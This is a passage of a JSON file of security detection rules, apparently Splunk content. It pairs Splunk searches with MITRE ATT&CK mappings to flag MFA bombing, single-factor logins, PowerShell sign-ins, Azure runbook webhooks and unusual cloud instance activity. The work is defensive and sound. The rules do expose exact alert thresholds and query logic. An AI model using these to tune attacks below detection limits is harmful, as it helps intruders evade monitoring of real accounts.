- "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ failed to complete MFA authentication more than 9 times in a timespan of 10 minutes.", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Azure AD Service Principal Authentication", - "description": "The following analytic identifies authentication events of service principals in Azure Active Directory. It leverages the `azure_monitor_aad` data source, specifically targeting \"Sign-in activity\" within ServicePrincipalSignInLogs. This detection gathers details such as sign-in frequency, timing, source IPs, and accessed resources. Monitoring these events is significant for SOC teams to distinguish between normal application authentication and potential anomalies, which could indicate compromised credentials or malicious activities. If confirmed malicious, attackers could gain unauthorized access to resources, leading to data breaches or further exploitation within the environment.", - "search": " `azure_monitor_aad` operationName=\"Sign-in activity\" category=ServicePrincipalSignInLogs | rename properties.* as * | stats count earliest(_time) as firstTime latest(_time) as lastTime by user, user_id, src_ip, resourceDisplayName, resourceId | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_service_principal_authentication_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover", - "NOBELIUM Group" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Service Principal $user$ authenticated from $src_ip$", - "risk_score": 25, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Azure AD Successful PowerShell Authentication", - "description": "The following analytic identifies a successful authentication event against an Azure AD tenant using PowerShell cmdlets. This detection leverages Azure AD SignInLogs to identify successful logins where the appDisplayName is \"Microsoft Azure PowerShell.\" This activity is significant because it is uncommon for regular, non-administrative users to authenticate using PowerShell, and it may indicate enumeration and discovery techniques by an attacker. If confirmed malicious, this activity could allow attackers to perform extensive reconnaissance, potentially leading to privilege escalation or further exploitation within the Azure environment.", - "search": " `azure_monitor_aad` category=SignInLogs properties.authenticationDetails{}.succeeded=true properties.appDisplayName=\"Microsoft Azure PowerShell\" | rename properties.* as * | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user by src_ip, appDisplayName, user_agent | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_successful_powershell_authentication_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Successful authentication for user $user$ using PowerShell.", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Azure AD Successful Single-Factor Authentication", - "description": "The following analytic identifies a successful single-factor authentication event against Azure Active Directory. It leverages Azure SignInLogs data, specifically focusing on events where single-factor authentication succeeded. This activity is significant as it may indicate a misconfiguration, policy violation, or potential account takeover attempt. If confirmed malicious, an attacker could gain unauthorized access to the account, potentially leading to data breaches, privilege escalation, or further exploitation within the environment.", - "search": " `azure_monitor_aad` category=SignInLogs properties.authenticationRequirement=singleFactorAuthentication properties.authenticationDetails{}.succeeded=true | rename properties.* as * | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user by src_ip, appDisplayName, authenticationRequirement | `azure_ad_successful_single_factor_authentication_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Successful authentication for user $user$ without MFA", - "risk_score": 45, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Azure Runbook Webhook Created", - "description": "The following analytic detects the creation of a new Automation Runbook Webhook within an Azure tenant. It leverages Azure Audit events, specifically the \"Create or Update an Azure Automation webhook\" operation, to identify this activity. This behavior is significant because Webhooks can trigger Automation Runbooks via unauthenticated URLs exposed to the Internet, posing a security risk. If confirmed malicious, an attacker could use this to execute code, create users, or maintain persistence within the environment, potentially leading to unauthorized access and control over Azure resources.", - "search": " `azure_audit` operationName.localizedValue=\"Create or Update an Azure Automation webhook\" status.value=Succeeded | dedup object | rename claims.ipaddr as src_ip | rename caller as user | stats count min(_time) as firstTime max(_time) as lastTime by object user, src_ip, resourceGroupName, object_path | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_runbook_webhook_created_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new Azure Runbook Webhook $object$ was created by $user$", - "risk_score": 63, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Cloud Compute Instance Created By Previously Unseen User", - "description": "The following analytic identifies the creation of cloud compute instances by users who have not previously created them. It leverages data from the Change data model, focusing on 'create' actions by users, and cross-references with a baseline of known user activities. This activity is significant as it may indicate unauthorized access or misuse of cloud resources by new or compromised accounts. If confirmed malicious, attackers could deploy unauthorized compute instances, leading to potential data exfiltration, increased costs, or further exploitation within the cloud environment.", - "search": "| tstats `security_content_summariesonly` count earliest(_time) as firstTime, latest(_time) as lastTime values(All_Changes.object) as dest from datamodel=Change where All_Changes.action=created by All_Changes.user All_Changes.vendor_region | `drop_dm_object_name(\"All_Changes\")` | lookup previously_seen_cloud_compute_creations_by_user user as user OUTPUTNEW firstTimeSeen, enough_data | eventstats max(enough_data) as enough_data | where enough_data=1 | eval firstTimeSeenUser=min(firstTimeSeen) | where isnull(firstTimeSeenUser) OR firstTimeSeenUser > relative_time(now(), \"-24h@h\") | table firstTime, user, dest, count vendor_region | `security_content_ctime(firstTime)` | `cloud_compute_instance_created_by_previously_unseen_user_filter`", - "tags": { - "analytic_story": [ - "Cloud Cryptomining" - ], - "asset_type": "Cloud Compute Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ is creating a new instance $dest$ for the first time", - "risk_score": 18, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Cloud Instance Modified By Previously Unseen User", - "description": "The following analytic identifies cloud instances being modified by users who have not previously modified them. It leverages data from the Change data model, focusing on successful modifications of EC2 instances. This activity is significant because it can indicate unauthorized or suspicious changes by potentially compromised or malicious users. If confirmed malicious, this could lead to unauthorized access, configuration changes, or potential disruption of cloud services, posing a significant risk to the organization's cloud infrastructure.", - "search": "| tstats `security_content_summariesonly` count earliest(_time) as firstTime, latest(_time) as lastTime values(All_Changes.object_id) as object_id values(All_Changes.command) as command from datamodel=Change where All_Changes.action=modified All_Changes.change_type=EC2 All_Changes.status=success by All_Changes.user | `drop_dm_object_name(\"All_Changes\")` | lookup previously_seen_cloud_instance_modifications_by_user user as user OUTPUTNEW firstTimeSeen, enough_data | eventstats max(enough_data) as enough_data | where enough_data=1 | eval firstTimeSeenUser=min(firstTimeSeen) | where isnull(firstTimeSeenUser) OR firstTimeSeenUser > relative_time(now(), \"-24h@h\") | table firstTime user command object_id count | `security_content_ctime(firstTime)` | `cloud_instance_modified_by_previously_unseen_user_filter`", - "tags": { - "analytic_story": [ - "Suspicious Cloud Instance Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user$ is modifying an instance $object_id$ for the first time.", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "GCP Authentication Failed During MFA Challenge", - "description": "The following analytic detects failed authentication attempts during the Multi-Factor Authentication (MFA) challenge on a Google Cloud Platform (GCP) tenant. It uses Google Workspace login failure events to identify instances where MFA methods were challenged but not successfully completed. This activity is significant as it may indicate an adversary attempting to access an account with compromised credentials despite MFA protection. If confirmed malicious, this could lead to unauthorized access attempts, potentially compromising sensitive data and resources within the GCP environment.", - "search": " `gws_reports_login` event.name=login_failure `gws_login_mfa_methods` | stats count min(_time) as firstTime max(_time) as lastTime by user, src_ip, login_challenge_method | `gcp_authentication_failed_during_mfa_challenge_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "Google Cloud Platform tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user$ failed to pass MFA challenge", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "GCP Multiple Failed MFA Requests For User", - "description": "The following analytic detects multiple failed multi-factor authentication (MFA) requests for a single user within a Google Cloud Platform (GCP) tenant. It triggers when 10 or more MFA prompts fail within a 5-minute window, using Google Workspace login failure events. This behavior is significant as it may indicate an adversary attempting to bypass MFA by bombarding the user with repeated authentication requests. If confirmed malicious, this activity could lead to unauthorized access, allowing attackers to compromise accounts and potentially escalate privileges within the GCP environment.", - "search": "`gws_reports_login` event.name=login_failure `gws_login_mfa_methods` | bucket span=5m _time | stats dc(_raw) AS mfa_prompts values(user) AS user by src_ip, login_challenge_method, _time | where mfa_prompts >= 10 | `gcp_multiple_failed_mfa_requests_for_user_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "Google Cloud Platform tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Multiple Failed MFA requests for user $user$", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "GCP Successful Single-Factor Authentication", - "description": "The following analytic identifies a successful single-factor authentication event against Google Cloud Platform (GCP) for an account without Multi-Factor Authentication (MFA) enabled. It uses Google Workspace login event data to detect instances where MFA is not utilized. This activity is significant as it may indicate a misconfiguration, policy violation, or potential account takeover attempt. If confirmed malicious, an attacker could gain unauthorized access to GCP resources, potentially leading to data breaches, service disruptions, or further exploitation within the cloud environment.", - "search": "`gws_reports_login` event.name=login_success NOT `gws_login_mfa_methods` | stats count min(_time) as firstTime max(_time) as lastTime by user, src_ip, login_challenge_method, app, event.name, vendor_account, action |`security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `gcp_successful_single_factor_authentication_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "Google Cloud Platform tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Successful authentication for user $user$ without MFA", - "risk_score": 45, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "O365 Security And Compliance Alert Triggered", - "description": "The following analytic identifies alerts triggered by the Office 365 Security and Compliance Center, indicating potential threats or policy violations. It leverages data from the `o365_management_activity` dataset, focusing on events where the workload is SecurityComplianceCenter and the operation is AlertTriggered. This activity is significant as it highlights security and compliance issues within the O365 environment, which are crucial for maintaining organizational security. If confirmed malicious, these alerts could indicate attempts to breach security policies, leading to unauthorized access, data exfiltration, or other malicious activities.", - "search": " `o365_management_activity` Workload=SecurityComplianceCenter Category=ThreatManagement Operation=AlertTriggered | spath input=Data path=f3u output=user | spath input=Data path=op output=operation | spath input=_raw path=wl | spath input=Data path=rid output=rule_id | spath input=Data path=ad output=alert_description | spath input=Data path=lon output=operation_name | spath input=Data path=an output=alert_name | spath input=Data path=sev output=severity | stats count earliest(_time) as firstTime latest(_time) as lastTime by user, Name, operation, rule_id, alert_description, alert_name, severity | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_security_and_compliance_alert_triggered_filter`", - "tags": { - "analytic_story": [ - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Security and Compliance triggered an alert for $user$", - "risk_score": 48, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Abnormally High AWS Instances Launched by User", - "description": "This search looks for AWS CloudTrail events where a user successfully launches an abnormally high number of instances. This search is deprecated and have been translated to use the latest Change Datamodel", - "search": "`cloudtrail` eventName=RunInstances errorCode=success | bucket span=10m _time | stats count AS instances_launched by _time userName | eventstats avg(instances_launched) as total_launched_avg, stdev(instances_launched) as total_launched_stdev | eval threshold_value = 4 | eval isOutlier=if(instances_launched > total_launched_avg+(total_launched_stdev * threshold_value), 1, 0) | search isOutlier=1 AND _time >= relative_time(now(), \"-10m@m\") | eval num_standard_deviations_away = round(abs(instances_launched - total_launched_avg) / total_launched_stdev, 2) | table _time, userName, instances_launched, num_standard_deviations_away, total_launched_avg, total_launched_stdev | `abnormally_high_aws_instances_launched_by_user_filter`", - "tags": { - "analytic_story": [ - "AWS Cryptomining", - "Suspicious AWS EC2 Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Abnormally High AWS Instances Launched by User - MLTK", - "description": "This search looks for AWS CloudTrail events where a user successfully launches an abnormally high number of instances. This search is deprecated and have been translated to use the latest Change Datamodel.", - "search": "`cloudtrail` eventName=RunInstances errorCode=success 